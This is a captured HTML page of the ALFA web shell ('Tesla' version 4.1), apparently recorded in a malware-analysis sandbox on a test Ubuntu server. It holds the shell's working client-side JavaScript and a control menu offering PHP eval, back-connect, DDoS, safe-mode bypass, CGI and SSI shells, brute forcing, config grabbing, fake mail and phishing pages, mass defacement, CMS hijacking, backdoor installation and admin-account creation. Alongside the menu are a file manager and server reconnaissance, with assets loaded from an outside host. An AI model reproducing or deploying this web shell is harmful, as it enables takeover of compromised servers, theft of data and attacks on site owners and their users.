alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" style="overflow: visible;"><form style="display:none;" id="dlForm" action="" target="_blank" method="post">
<input type="hidden" name="a" value="dlfile">
<input type="hidden" name="c" value="">
<input type="hidden" name="file" value="">
</form>
<input type="file" style="display:none;" id="importFileBtn" onchange="importConfig(event);">
<div id="a_loader" style="display: none;"><img src="http://solevisible.com/images/loader.svg"></div>
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/"><input type="hidden" name="alfa1" value=""><input type="hidden" name="alfa2" value=""><input type="hidden" name="alfa3" value=""><input type="hidden" name="alfa4" value=""><input type="hidden" name="alfa5" value=""><input type="hidden" name="alfa6" value=""><input type="hidden" name="alfa7" value=""><input type="hidden" name="alfa8" value=""><input type="hidden" name="alfa9" value=""><input type="hidden" name="alfa10" value=""><input type="hidden" name="charset" value="Windows-1251">
</form>
<div id="hidden_sh"><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">Tesla</span><br><small>Version: <span class="hidden_shell_version">4.1</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tbody><tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">33 [ www-data ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">33 [ www-data ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png"></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 </b><span class="header_vars"> Safe Mode: <span class="header_on">OFF</span></span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>::1</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ::1</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>2023-02-12 16:22:49</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">Cant Read [ /etc/named.conf ]</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>216.08 GB </b><span class="header_vars">Free:</span><b>194.85 GB [90%]</b></td>
</tr><tr><td height="18" colspan="2"><span class="header_vars">Useful : </span><span class="header_values" style="margin-left: 4px;">gcc</span><span class="header_values" style="margin-left: 4px;">cc</span><span class="header_values" style="margin-left: 4px;">ld</span><span class="header_values" style="margin-left: 4px;">make</span><span class="header_values" style="margin-left: 4px;">php</span><span class="header_values" style="margin-left: 4px;">perl</span><span class="header_values" style="margin-left: 4px;">tar</span><span class="header_values" style="margin-left: 4px;">gzip</span><span class="header_values" style="margin-left: 4px;">nc</span></td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" style="margin-left: 4px;">wget</span><span class="header_values" style="margin-left: 4px;">curl</span><span class="header_values" style="margin-left: 4px;">lwp-mirror</span></td>
</tr><tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b><span class="header_show_all">All Functions Accessible</span></b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span><span class="header_on"> ON </span> | <span class="header_vars">SSH2 : </span><span class="header_off"> OFF </span> | <span class="header_vars">Magic Quotes : </span><span class="header_off">OFF</span> | <span class="header_vars"> MySQL :</span><span class="header_off"> OFF </span> | <span class="header_vars">MSSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> PostgreSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> Oracle :</span><span class="header_off"> OFF </span> | <span class="header_vars"> CGI :</span> <span class="header_off" id="header_cgishell">OFF</span></td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars">Safe_mode_exec_dir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars"> Safe_mode_include_dir :</span><span class="header_none"> NONE </span></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>Apache/2.4.52 (Ubuntu)</b></td>
</tr><tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd"><a class="header_pwd" onclick="g("FilesMan","/")" path="/" href="#action=fileman&path=/">/</a><a class="header_pwd" onclick="g("FilesMan","/var/")" path="/var/" href="#action=fileman&path=/var/">var/</a><a class="header_pwd" onclick="g("FilesMan","/var/www/")" path="/var/www/" href="#action=fileman&path=/var/www/">www/</a><a class="header_pwd" onclick="g("FilesMan","/var/www/html/")" path="/var/www/html/" href="#action=fileman&path=/var/www/html/">html/</a> </span><a href="#action=fileman&path=/var/www/html" onclick="g('FilesMan','/var/www/html','','','')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</tbody></table>
</div>
<div id="meunlist">
<ul>
<li><a id="menu_opt_proc" href="#action=options&path=/var/www/html/&opt=proc" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=proc';g('proc',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Process</a></li>
<li><a id="menu_opt_phpeval" href="#action=options&path=/var/www/html/&opt=phpeval" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=phpeval';g('phpeval',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Eval</a></li>
<li><a id="menu_opt_sql" href="#action=options&path=/var/www/html/&opt=sql" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=sql';g('sql',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SQL Manager</a></li>
<li><a id="menu_opt_dumper" href="#action=options&path=/var/www/html/&opt=dumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=dumper';g('dumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Database Dumper</a></li>
<li><a id="menu_opt_coldumper" href="#action=options&path=/var/www/html/&opt=coldumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=coldumper';g('coldumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Column Dumper</a></li>
<li><a id="menu_opt_hash" href="#action=options&path=/var/www/html/&opt=hash" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=hash';g('hash',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">En-Decoder</a></li>
<li><a id="menu_opt_connect" href="#action=options&path=/var/www/html/&opt=connect" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=connect';g('connect',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BC</a></li>
<li><a id="menu_opt_zoneh" href="#action=options&path=/var/www/html/&opt=zoneh" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=zoneh';g('zoneh',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ZONE-H</a></li>
<li><a id="menu_opt_dos" href="#action=options&path=/var/www/html/&opt=dos" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=dos';g('dos',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DDOS</a></li>
<li><a id="menu_opt_safe" href="#action=options&path=/var/www/html/&opt=safe" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=safe';g('safe',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ByPasser</a></li>
<li><a id="menu_opt_cgishell" href="#action=options&path=/var/www/html/&opt=cgishell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cgishell';g('cgishell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Cgi Shell</a></li>
<li><a id="menu_opt_ssiShell" href="#action=options&path=/var/www/html/&opt=ssiShell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ssiShell';g('ssiShell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SSI SHELL</a></li>
<li><a id="menu_opt_cpcrack" href="#action=options&path=/var/www/html/&opt=cpcrack" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cpcrack';g('cpcrack',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Hash Tools</a></li>
<li><a id="menu_opt_portscanner" href="#action=options&path=/var/www/html/&opt=portscanner" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=portscanner';g('portscanner',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Port Scaner</a></li>
<li><a id="menu_opt_basedir" href="#action=options&path=/var/www/html/&opt=basedir" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=basedir';g('basedir',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Open BaseDir</a></li>
<li><a id="menu_opt_mail" href="#action=options&path=/var/www/html/&opt=mail" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=mail';g('mail',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Mail</a></li>
<li><a id="menu_opt_ziper" href="#action=options&path=/var/www/html/&opt=ziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ziper';g('ziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Compressor</a></li>
<li><a id="menu_opt_deziper" href="#action=options&path=/var/www/html/&opt=deziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=deziper';g('deziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DeCompressor</a></li>
<li><a id="menu_opt_IndexChanger" href="#action=options&path=/var/www/html/&opt=IndexChanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=IndexChanger';g('IndexChanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Index Changer</a></li>
<li><a id="menu_opt_pwchanger" href="#action=options&path=/var/www/html/&opt=pwchanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=pwchanger';g('pwchanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Add New Admin</a></li>
<li><a id="menu_opt_ShellInjectors" href="#action=options&path=/var/www/html/&opt=ShellInjectors" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ShellInjectors';g('ShellInjectors',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Shell Injectors</a></li>
<li><a id="menu_opt_php2xml" href="#action=options&path=/var/www/html/&opt=php2xml" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=php2xml';g('php2xml',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">PHP2XML</a></li>
<li><a id="menu_opt_cloudflare" href="#action=options&path=/var/www/html/&opt=cloudflare" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cloudflare';g('cloudflare',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CloudFlare</a></li>
<li><a id="menu_opt_Whmcs" href="#action=options&path=/var/www/html/&opt=Whmcs" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=Whmcs';g('Whmcs',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whmcs DeCoder</a></li>
<li><a id="menu_opt_symlink" href="#action=options&path=/var/www/html/&opt=symlink" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=symlink';g('symlink',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Symlink</a></li>
<li><a id="menu_opt_MassDefacer" href="#action=options&path=/var/www/html/&opt=MassDefacer" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=MassDefacer';g('MassDefacer',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Mass Defacer</a></li>
<li><a id="menu_opt_Crackers" href="#action=options&path=/var/www/html/&opt=Crackers" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=Crackers';g('Crackers',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BruteForcer</a></li>
<li><a id="menu_opt_searcher" href="#action=options&path=/var/www/html/&opt=searcher" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=searcher';g('searcher',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Searcher</a></li>
<li><a id="menu_opt_config_grabber" href="#action=options&path=/var/www/html/&opt=config_grabber" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=config_grabber';g('config_grabber',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Config Grabber</a></li>
<li><a id="menu_opt_fakepage" href="#action=options&path=/var/www/html/&opt=fakepage" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=fakepage';g('fakepage',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Page</a></li>
<li><a id="menu_opt_archive_manager" href="#action=options&path=/var/www/html/&opt=archive_manager" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=archive_manager';g('archive_manager',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Archive Manager</a></li>
<li><a id="menu_opt_cmshijacker" href="#action=options&path=/var/www/html/&opt=cmshijacker" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cmshijacker';g('cmshijacker',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CMS Hijacker</a></li>
<li><a id="menu_opt_remotedl" href="#action=options&path=/var/www/html/&opt=remotedl" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=remotedl';g('remotedl',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remote Upload</a></li>
<li><a id="menu_opt_inbackdoor" href="#action=options&path=/var/www/html/&opt=inbackdoor" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=inbackdoor';g('inbackdoor',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Install BackDoor</a></li>
<li><a id="menu_opt_whois" href="#action=options&path=/var/www/html/&opt=whois" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=whois';g('whois',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whois</a></li>
<li><a id="menu_opt_selfrm" href="#action=options&path=/var/www/html/&opt=selfrm" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=selfrm';g('selfrm',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remove Shell</a></li>
</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=/var/www/html/&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=settings';g('settings',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=/var/www/html/&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=market';g('market',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=/var/www/html/&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=aboutus';g('aboutus',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">About Us</a></div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="/var/www/html/" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>html</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onclick="alfaFilesManNewTab(c_,'/',1);">New Tab +</div></div><script>alfa1_=alfa2_=alfa3_=""</script><div style="position: relative; min-height: 0px;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><script>alfa1_=alfa2_=alfa3_=""</script><div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,'alfa_sort_by');" style="color:#25ff00;"><option value="name" selected="">Name</option><option value="size">Size</option><option value="modify">Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onchange="sortBySelectedValue(this,'alfa_filesman_direction')" style="color:#25ff00;"><option value="asc" selected="">Ascending</option><option value="desc">Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="0" oninput="this.value=this.value.replace(/[^0-9]/g,'');setCookie('alfa_limited_files', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">4</b></span></div><div class="header"><form onsubmit="fc(this);return false;" name="files" method="post"><table id="filemanager_table" width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th width="13px"><div class="myCheckbox" style="padding-left:0px;"><input type="checkbox" id="mchk79174" onclick="checkBox(this);" class="chkbx"><label for="mchk79174"></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr><tr class="fmanager-row" id="tr_row_0"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value=".." class="chkbx" id="checkbox_791740"><label for="checkbox_791740"></label></div></td><td id="td_row_0"><img src="http://solevisible.com/icons/back.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="0" id="id_0" class="main_name" onclick="g('FilesMan','/var/www');" href="#action=fileman&path=/var/www" fname=".." ftype="folder" path="/var/www/html/" opt_title=""><b>| .. |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 16:22:48</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_0" href="javascript:void(0)" onclick="editor('..','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">d​r​w​x​r​w​x​r​w​x​</span></a></td><td><a id="id_rename_0" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('..', 'rename','','','','dir')">R</a> <a id="id_touch_0" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('..', 'touch','','','','dir')">T</a><a id="id_delete_0" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # .. # ?'); chk ? g('FilesMan',null,'delete', '..') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_1"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="ALFA_DATA" class="chkbx" id="checkbox_791741"><label for="checkbox_791741"></label></div></td><td id="td_row_1"><img src="http://solevisible.com/icons/folder.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="1" id="id_1" class="main_name" onclick="g('FilesMan','/var/www/html/ALFA_DATA');" href="#action=fileman&path=/var/www/html/ALFA_DATA" fname="ALFA_DATA" ftype="folder" path="/var/www/html/" opt_title=""><b>| ALFA_DATA |</b></a></div></td><td><span style="font-weight:unset;" class="main_size">dir</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 16:22:49</span></td><td><span style="font-weight:unset;" class="main_owner_group">www-data/www-data</span></td><td><a id="id_chmode_1" href="javascript:void(0)" onclick="editor('ALFA_DATA','chmod','','','','dir')"><span style="font-weight:unset;" class="main_green_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">d​r​w​x​r​-x​r​-x​</span></a></td><td><a id="id_rename_1" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('ALFA_DATA', 'rename','','','','dir')">R</a> <a id="id_touch_1" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('ALFA_DATA', 'touch','','','','dir')">T</a><a id="id_delete_1" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # ALFA_DATA # ?'); chk ? g('FilesMan',null,'delete', 'ALFA_DATA') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_2"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="beneri.se_malware_analysis" class="chkbx" id="checkbox_791742"><label for="checkbox_791742"></label></div></td><td id="td_row_2"><img src="http://solevisible.com/icons/notfound.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="2" id="id_2" class="main_name" onclick="editor('beneri.se_malware_analysis','auto','','','','file');" href="#action=fileman&path=/var/www/html/&file=beneri.se_malware_analysis" fname="beneri.se_malware_analysis" ftype="file" path="/var/www/html/" opt_title="">beneri.se_malware_analysis</a></div></td><td><span style="font-weight:unset;" class="main_size">0 B</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 16:22:48</span></td><td><span style="font-weight:unset;" class="main_owner_group">root/root</span></td><td><a id="id_chmode_2" href="javascript:void(0)" onclick="editor('beneri.se_malware_analysis','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-​r​w​-r​--r​--</span></a></td><td><a id="id_rename_2" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'rename','','','','file')">R</a> <a id="id_touch_2" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'touch','','','','file')">T</a> <a id="id_edit_2" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('beneri.se_malware_analysis', 'edit','','','','file')">E</a> <a id="id_download_2" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'beneri.se_malware_analysis', 'download')">D</a><a id="id_delete_2" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # beneri.se_malware_analysis # ?'); chk ? g('FilesMan',null,'delete', 'beneri.se_malware_analysis') : '';"> X </a></td></tr><tr class="fmanager-row" id="tr_row_3"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="hw0.php" class="chkbx" id="checkbox_791743"><label for="checkbox_791743"></label></div></td><td id="td_row_3"><img src="http://solevisible.com/icons/php.png" width="30" height="30"><div style="position:relative;display:inline-block;bottom:12px;"><a row="3" id="id_3" class="main_name" onclick="editor('hw0.php','auto','','','','file');" href="#action=fileman&path=/var/www/html/&file=hw0.php" fname="hw0.php" ftype="file" path="/var/www/html/" opt_title=""><span class="shell_name" style="font-weight:unset;">hw0.php</span></a></div></td><td><span style="font-weight:unset;" class="main_size">452.92 KB</span></td><td><span style="font-weight:unset;" class="main_modify">2023-02-12 16:22:48</span></td><td><span style="font-weight:unset;" class="main_owner_group">osboxes/osboxes</span></td><td><a id="id_chmode_3" href="javascript:void(0)" onclick="editor('hw0.php','chmod','','','','file')"><span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-​r​w​-r​w​-r​--</span></a></td><td><a id="id_rename_3" title="Rename" class="actions" href="javascript:void(0);" onclick="editor('hw0.php', 'rename','','','','file')">R</a> <a id="id_touch_3" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor('hw0.php', 'touch','','','','file')">T</a> <a id="id_edit_3" class="actions" title="Edit" href="javascript:void(0);" onclick="editor('hw0.php', 'edit','','','','file')">E</a> <a id="id_download_3" title="Download" class="actions" href="javascript:void(0);" onclick="g('FilesTools',null,'hw0.php', 'download')">D</a><a id="id_delete_3" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm('Are You Sure For Delete # hw0.php # ?'); chk ? g('FilesMan',null,'delete', 'hw0.php') : '';"> X </a></td></tr><tr id="filemanager_last_tr"><td colspan="7">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="charset" value="">
<select id="tools_selector" name="alfa1"><option value="copy">Copy</option><option value="move">Move</option><option value="delete" selected="">Delete</option><option value="zip">Add 2 Compress (zip)</option><option value="unzip">Add 2 Uncompress (zip)</option><option value="paste">Paste / Zip / Unzip </option></select>
<input type="submit" value=" ">
</td></tr></tbody></table><div class="pages-holder"><div class="pages-number"></div></div></form></div></div></div><table class="foot" width="100%" border="0" cellspacing="3" cellpadding="0">
<tbody><tr>
<td width="17%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;"><span class="footer_text">Make File : </span><br><input class="dir" type="text" name="f" value=""> <input type="submit" value=" "></form></td>
<td width="21%"><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;"><span class="footer_text">Make Dir : </span><br><input class="dir" type="text" name="d" value=" "> <input type="submit" value=" "></form></td>
